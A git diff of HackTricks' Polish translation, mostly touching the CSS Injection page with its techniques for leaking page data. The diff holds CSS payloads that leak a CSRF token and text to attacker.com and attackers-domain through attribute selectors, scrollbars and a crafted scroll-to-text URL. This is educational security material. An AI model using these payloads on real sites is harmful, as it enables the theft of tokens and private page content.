|
||||
* **Kodowanie**: Termin ten odnosi się do sposobu, w jaki znaki są przekształcane w serię bajtów. UTF-8 to powszechny standard kodowania, w którym znaki ASCII są reprezentowane za pomocą jednego bajtu, a inne znaki mogą być reprezentowane za pomocą do czterech bajtów.
|
||||
* **Przetwarzanie danych**: Systemy przetwarzające dane muszą być świadome używanego kodowania, aby poprawnie konwertować strumień bajtów na znaki.
|
||||
* **Kodowanie**: Termin ten odnosi się do sposobu, w jaki znaki są przekształcane w serię bajtów. UTF-8 to powszechny standard kodowania, w którym znaki ASCII są reprezentowane za pomocą jednego bajtu, a do czterech bajtów dla innych znaków.
|
||||
* **Przetwarzanie danych**: Systemy przetwarzające dane muszą być świadome używanego kodowania, aby poprawnie przekształcić strumień bajtów w znaki.
|
||||
* **Warianty UTF**: Oprócz UTF-8 istnieją inne standardy kodowania, takie jak UTF-16 (używający minimum 2 bajtów, do 4) i UTF-32 (używający 4 bajtów dla wszystkich znaków).
|
||||
|
||||
Zrozumienie tych koncepcji jest kluczowe, aby skutecznie radzić sobie z potencjalnymi problemami wynikającymi z złożoności Unicode i jego różnych metod kodowania.
|
||||
|
@ -118,7 +104,7 @@ Zauważ, że na przykład pierwszy proponowany znak Unicode można wysłać jako
|
|||
|
||||
Kiedy backend **sprawdza dane wejściowe użytkownika za pomocą regex**, może być możliwe, że **wejście** jest **normalizowane** dla **regex**, ale **nie** dla miejsca, w którym jest **używane**. Na przykład, w przypadku Open Redirect lub SSRF regex może **normalizować wysłany URL**, ale następnie **uzyskiwać do niego dostęp tak, jak jest**.
|
||||
|
||||
Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* pozwala na **generowanie wariacji wejścia** w celu fuzzowania backendu. Więcej informacji znajdziesz na **githubie** oraz w tym [**poście**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* pozwala na **generowanie wariacji wejścia** w celu fuzzowania backendu. Po więcej informacji sprawdź **github** i ten [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
## References
|
||||
|
||||
|
@ -126,29 +112,17 @@ Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* pozwal
|
|||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,26 @@
|
|||
# CSS Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Selektor atrybutów
|
||||
### Attribute Selector
|
||||
|
||||
Selektory CSS są tworzone, aby dopasować wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut value elementu input zaczyna się od określonego znaku, ładowany jest zdefiniowany zewnętrzny zasób:
|
||||
Selektory CSS są tworzone, aby dopasować wartości atrybutów `name` i `value` elementu `input`. Jeśli atrybut wartości elementu wejściowego zaczyna się od określonego znaku, ładowany jest zdefiniowany zewnętrzny zasób:
|
||||
```css
|
||||
input[name=csrf][value^=a]{
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
|
@ -62,7 +55,7 @@ Aby technika CSS Injection była skuteczna, muszą być spełnione określone wa
|
|||
|
||||
### Blind Attribute Selector
|
||||
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`**, aby zidentyfikować treść nawet z elementów niewidocznych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się na stronie internetowej ładującej wstrzyknięcie CSS.\
|
||||
Jak [**wyjaśniono w tym poście**](https://portswigger.net/research/blind-css-exfiltration), możliwe jest połączenie selektorów **`:has`** i **`:not`** w celu identyfikacji treści nawet z elementów niewidocznych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się na stronie ładującej wstrzyknięcie CSS.\
|
||||
Możliwe jest również użycie tych selektorów do wyodrębnienia informacji z kilku bloków tego samego typu, jak w:
|
||||
```html
|
||||
<style>
|
||||
|
@ -95,7 +88,7 @@ Zamiast ładować tę samą stronę raz za razem z dziesiątkami różnych ładu
|
|||
4. Gdy serwer atakujących otrzyma **pierwszy i ostatni znak sekretu**, **odpowie na import żądany w kroku 2**.
|
||||
1. Odpowiedź będzie dokładnie taka sama jak w **krokach 2, 3 i 4**, ale tym razem spróbuje **znaleźć drugi znak sekretu, a następnie przedostatni**.
|
||||
|
||||
Atakujący **będzie powtarzał tę pętlę, aż uda mu się całkowicie wycieknąć sekret**.
|
||||
Atakujący **będzie podążał za tą pętlą, aż uda mu się całkowicie wycieknąć sekret**.
|
||||
|
||||
Możesz znaleźć oryginalny [**kod Pepe Vili do wykorzystania tego tutaj**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) lub możesz znaleźć prawie [**ten sam kod, ale skomentowany tutaj**.](./#css-injection)
|
||||
|
||||
|
@ -118,7 +111,7 @@ Nie martw się, po prostu sprawdź **wyjście**, ponieważ **możesz tam zobaczy
|
|||
|
||||
### Inne selektory
|
||||
|
||||
Inne sposoby dostępu do części DOM za pomocą **seletorów CSS**:
|
||||
Inne sposoby dostępu do części DOM za pomocą **sektorów CSS**:
|
||||
|
||||
* **`.class-to-search:nth-child(2)`**: To wyszuka drugi element z klasą "class-to-search" w DOM.
|
||||
* **`:empty`** selektor: Używany na przykład w [**tym opisie**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
@ -127,9 +120,9 @@ Inne sposoby dostępu do części DOM za pomocą **seletorów CSS**:
|
|||
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
||||
```
|
||||
|
||||
### Błąd oparty XS-Search
|
||||
### Atak XS-Search oparty na błędach
|
||||
|
||||
**Referencja:** [Atak oparty na CSS: Wykorzystywanie unicode-range z @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC autorstwa @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Referencja:** [Atak oparty na CSS: Wykorzystywanie unicode-range w @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC XS-Search oparty na błędach autorstwa @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
Ogólnym zamiarem jest **użycie niestandardowej czcionki z kontrolowanego punktu końcowego** i zapewnienie, że **tekst (w tym przypadku 'A') jest wyświetlany tą czcionką tylko wtedy, gdy określony zasób (`favicon.ico`) nie może być załadowany**.
|
||||
```html
|
||||
|
@ -163,38 +156,38 @@ font-family: 'poc';
|
|||
2. **Element Object z tekstem zapasowym**:
|
||||
- Element `<object>` z `id="poc0"` jest tworzony w sekcji `<body>`. Element ten próbuje załadować zasób z `http://192.168.0.1/favicon.ico`.
|
||||
- `font-family` dla tego elementu jest ustawiona na `'poc'`, zgodnie z definicją w sekcji `<style>`.
|
||||
- Jeśli zasób (`favicon.ico`) nie załaduje się, zawartość zapasowa (litera 'A') wewnątrz tagu `<object>` jest wyświetlana.
|
||||
- Jeśli zasób (`favicon.ico`) nie uda się załadować, zawartość zapasowa (litera 'A') wewnątrz tagu `<object>` jest wyświetlana.
|
||||
- Zawartość zapasowa ('A') będzie renderowana przy użyciu niestandardowej czcionki `poc`, jeśli zewnętrzny zasób nie może być załadowany.
|
||||
|
||||
### Stylizacja fragmentu tekstu przewijanego
|
||||
|
||||
Pseudo-klasa **`:target`** jest używana do wybierania elementu, który jest celem fragmentu **URL**, jak określono w [specyfikacji selektorów CSS Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ważne jest, aby zrozumieć, że `::target-text` nie pasuje do żadnych elementów, chyba że tekst jest wyraźnie celowany przez fragment.
|
||||
Pseudo-klasa **`:target`** jest używana do wybierania elementu, który jest celowany przez **fragment URL**, jak określono w [specyfikacji CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ważne jest, aby zrozumieć, że `::target-text` nie pasuje do żadnych elementów, chyba że tekst jest wyraźnie celowany przez fragment.
|
||||
|
||||
Pojawia się problem bezpieczeństwa, gdy atakujący wykorzystują funkcję **Scroll-to-text** fragment, co pozwala im potwierdzić obecność konkretnego tekstu na stronie internetowej, ładując zasób z ich serwera poprzez wstrzyknięcie HTML. Metoda polega na wstrzyknięciu reguły CSS, takiej jak ta:
|
||||
```css
|
||||
:target::before { content : url(target.png) }
|
||||
```
|
||||
W takich scenariuszach, jeśli tekst "Administrator" jest obecny na stronie, zasób `target.png` jest żądany z serwera, co wskazuje na obecność tekstu. Przykład tego ataku można wykonać za pomocą specjalnie przygotowanego URL, który osadza wstrzyknięty CSS wraz z fragmentem Scroll-to-text:
|
||||
W takich scenariuszach, jeśli tekst "Administrator" jest obecny na stronie, zasób `target.png` jest żądany z serwera, co wskazuje na obecność tekstu. Przykład tego ataku można wykonać za pomocą specjalnie przygotowanego URL, który osadza wstrzyknięty CSS obok fragmentu Scroll-to-text:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text "Administrator" through the Scroll-to-text fragment (`#:~:text=Administrator`). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.
|
||||
Here, atak manipuluje wstrzyknięciem HTML, aby przesłać kod CSS, celując w konkretny tekst "Administrator" za pomocą fragmentu Scroll-to-text (`#:~:text=Administrator`). Jeśli tekst zostanie znaleziony, wskazany zasób jest ładowany, nieumyślnie sygnalizując swoją obecność atakującemu.
|
||||
|
||||
For mitigation, the following points should be noted:
|
||||
Aby złagodzić ryzyko, należy zwrócić uwagę na następujące punkty:
|
||||
|
||||
1. **Ograniczone dopasowanie STTF**: Scroll-to-text Fragment (STTF) jest zaprojektowany do dopasowywania tylko słów lub zdań, co ogranicza jego zdolność do wycieków dowolnych sekretów lub tokenów.
|
||||
2. **Ograniczenie do kontekstów przeglądania na najwyższym poziomie**: STTF działa wyłącznie w kontekstach przeglądania na najwyższym poziomie i nie funkcjonuje w iframe'ach, co sprawia, że wszelkie próby wykorzystania są bardziej zauważalne dla użytkownika.
|
||||
3. **Konieczność aktywacji przez użytkownika**: STTF wymaga gestu aktywacji przez użytkownika do działania, co oznacza, że wykorzystania są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. Ten wymóg znacznie zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak, autor wpisu na blogu wskazuje na konkretne warunki i obejścia (np. inżynieria społeczna, interakcja z powszechnymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.
|
||||
1. **Ograniczone dopasowanie STTF**: Fragment Scroll-to-text (STTF) jest zaprojektowany do dopasowywania tylko słów lub zdań, co ogranicza jego zdolność do wycieków dowolnych sekretów lub tokenów.
|
||||
2. **Ograniczenie do kontekstów przeglądania na najwyższym poziomie**: STTF działa wyłącznie w kontekstach przeglądania na najwyższym poziomie i nie funkcjonuje w ramach iframe, co sprawia, że wszelkie próby wykorzystania są bardziej zauważalne dla użytkownika.
|
||||
3. **Konieczność aktywacji przez użytkownika**: STTF wymaga gestu aktywacji przez użytkownika do działania, co oznacza, że wykorzystania są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. Wymóg ten znacznie zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak autor wpisu na blogu wskazuje na konkretne warunki i obejścia (np. inżynieria społeczna, interakcja z powszechnymi rozszerzeniami przeglądarki), które mogą ułatwić automatyzację ataku.
|
||||
|
||||
Świadomość tych mechanizmów i potencjalnych luk jest kluczowa dla utrzymania bezpieczeństwa w sieci i ochrony przed takimi taktykami eksploatacyjnymi.
|
||||
|
||||
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
Aby uzyskać więcej informacji, sprawdź oryginalny raport: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Możesz sprawdzić [**eksploitację wykorzystującą tę technikę dla CTF tutaj**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
You can specify **zewnętrzne czcionki dla konkretnych wartości unicode**, które będą **zbierane tylko wtedy, gdy te wartości unicode są obecne** na stronie. For example:
|
||||
Możesz określić **zewnętrzne czcionki dla konkretnych wartości unicode**, które będą **zbierane tylko wtedy, gdy te wartości unicode są obecne** na stronie. Na przykład:
|
||||
```html
|
||||
<style>
|
||||
@font-face{
|
||||
|
@ -221,11 +214,11 @@ font-family:poc;
|
|||
```
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### Ekstrakcja węzła tekstowego (I): ligatury <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
Technika opisana polega na wydobywaniu tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian w szerokości. Proces składa się z kilku kroków:
|
||||
Technika opisana polega na ekstrakcji tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian w szerokości. Proces składa się z kilku kroków:
|
||||
|
||||
1. **Tworzenie niestandardowych czcionek**:
|
||||
- Czcionki SVG są tworzone z glifami mającymi atrybut `horiz-adv-x`, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwóch znaków.
|
||||
|
@ -244,7 +237,7 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
|
||||
3. **Proces eksploatacji**:
|
||||
- **Krok 1**: Tworzone są czcionki dla par znaków o znacznej szerokości.
|
||||
- **Krok 2**: Wykorzystywana jest sztuczka oparta na pasku przewijania, aby wykryć, kiedy renderowany jest glif o dużej szerokości (ligatura dla pary znaków), co wskazuje na obecność sekwencji znaków.
|
||||
- **Krok 2**: Wykorzystywana jest sztuczka oparta na pasku przewijania, aby wykryć, kiedy renderowany jest duży glif (ligatura dla pary znaków), co wskazuje na obecność sekwencji znaków.
|
||||
- **Krok 3**: Po wykryciu ligatury generowane są nowe glify reprezentujące sekwencje trzech znaków, włączając wykrytą parę i dodając znak poprzedzający lub następujący.
|
||||
- **Krok 4**: Wykrywanie ligatury trzech znaków jest przeprowadzane.
|
||||
- **Krok 5**: Proces powtarza się, stopniowo ujawniając cały tekst.
|
||||
|
@ -253,11 +246,11 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
|
|||
- Obecna metoda inicjalizacji używająca `<meta refresh=...` nie jest optymalna.
|
||||
- Bardziej efektywne podejście mogłoby obejmować sztuczkę CSS `@import`, poprawiając wydajność eksploatu.
|
||||
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Ekstrakcja węzła tekstowego (II): wyciek zestawu znaków za pomocą domyślnej czcionki (nie wymagającej zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Ta sztuczka została opublikowana w tym [**wątku Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Zestaw znaków użyty w węźle tekstowym może być wyciekany **przy użyciu domyślnych czcionek** zainstalowanych w przeglądarce: nie są potrzebne żadne zewnętrzne - ani niestandardowe - czcionki.
|
||||
Ta sztuczka została opublikowana w tym [**wątku Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Zestaw znaków użyty w węźle tekstowym może być wyciekany **za pomocą domyślnych czcionek** zainstalowanych w przeglądarce: nie są potrzebne zewnętrzne - ani niestandardowe - czcionki.
|
||||
|
||||
Koncepcja opiera się na wykorzystaniu animacji do stopniowego rozszerzania szerokości `div`, pozwalając jednemu znakowi na przejście z części 'sufiksowej' tekstu do części 'prefiksowej'. Proces ten skutecznie dzieli tekst na dwie sekcje:
|
||||
|
||||
|
@ -278,7 +271,7 @@ B
|
|||
**CADB**
|
||||
|
||||
|
||||
Podczas tego przejścia wykorzystywana jest **sztuczka unicode-range** do identyfikacji każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to poprzez przełączenie czcionki na Comic Sans, która jest zauważalnie wyższa niż domyślna czcionka, co w konsekwencji wywołuje pojawienie się paska przewijania w pionie. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
|
||||
Podczas tego przejścia wykorzystywana jest **sztuczka unicode-range** do identyfikacji każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to poprzez zmianę czcionki na Comic Sans, która jest zauważalnie wyższa niż domyślna czcionka, co w konsekwencji wywołuje pojawienie się paska przewijania w pionie. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.
|
||||
|
||||
Chociaż ta metoda pozwala na wykrywanie unikalnych znaków w miarę ich pojawiania się, nie określa, który znak jest powtarzany, tylko że wystąpiło powtórzenie.
|
||||
|
||||
|
@ -416,13 +409,13 @@ background: blue var(--leak);
|
|||
|
||||
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Ten przypadek jest bardzo podobny do poprzedniego, jednak w tym przypadku celem uczynienia konkretnych **znaków większymi niż inne jest ukrycie czegoś** jak przycisk, aby nie został naciśnięty przez bota lub obrazka, który nie zostanie załadowany. Możemy więc zmierzyć akcję (lub brak akcji) i wiedzieć, czy konkretny znak jest obecny w tekście.
|
||||
Ten przypadek jest bardzo podobny do poprzedniego, jednak w tym przypadku celem powiększenia konkretnych **znaków w porównaniu do innych jest ukrycie czegoś** takiego jak przycisk, aby nie został naciśnięty przez bota lub obraz, który nie zostanie załadowany. Możemy więc zmierzyć akcję (lub brak akcji) i wiedzieć, czy konkretny znak jest obecny w tekście.
|
||||
|
||||
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków przez czas pamięci podręcznej (nie wymagające zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
W tym przypadku moglibyśmy spróbować wyciekować, czy znak znajduje się w tekście, ładując fałszywą czcionkę z tego samego pochodzenia:
|
||||
W tym przypadku możemy spróbować wyciekować, czy znak znajduje się w tekście, ładując fałszywą czcionkę z tego samego źródła:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -432,9 +425,9 @@ unicode-range: U+0041;
|
|||
```
|
||||
Jeśli występuje dopasowanie, **czcionka zostanie załadowana z `/static/bootstrap.min.css?q=1`**. Chociaż nie załaduje się pomyślnie, **przeglądarka powinna ją zbuforować**, a nawet jeśli nie ma bufora, istnieje mechanizm **304 not modified**, więc **odpowiedź powinna być szybsza** niż inne rzeczy.
|
||||
|
||||
Jednakże, jeśli różnica czasowa między zbuforowaną odpowiedzią a niezbuforowaną nie jest wystarczająco duża, to nie będzie to przydatne. Na przykład autor wspomniał: Jednak po testach odkryłem, że pierwszym problemem jest to, że prędkość nie różni się zbytnio, a drugim problemem jest to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
|
||||
Jednakże, jeśli różnica czasowa między zbuforowaną odpowiedzią a niezbuforowaną nie jest wystarczająco duża, nie będzie to przydatne. Na przykład autor wspomniał: Jednak po testach odkryłem, że pierwszym problemem jest to, że prędkość nie różni się zbytnio, a drugim problemem jest to, że bot używa flagi `disk-cache-size=1`, co jest naprawdę przemyślane.
|
||||
|
||||
### Ekstrakcja węzła tekstowego (III): ujawnianie zestawu znaków poprzez czas ładowania setek lokalnych "czcionek" (nie wymagających zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Ekstrakcja węzła tekstowego (III): wyciek zestawu znaków przez czas ładowania setek lokalnych "czcionek" (nie wymagających zewnętrznych zasobów) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Referencja:** To jest wspomniane jako [nieudane rozwiązanie w tym opisie](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
|
@ -464,12 +457,6 @@ Więc, jeśli czcionka się nie zgadza, czas odpowiedzi podczas odwiedzania bota
|
|||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
# Abusing Service Workers
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -17,19 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
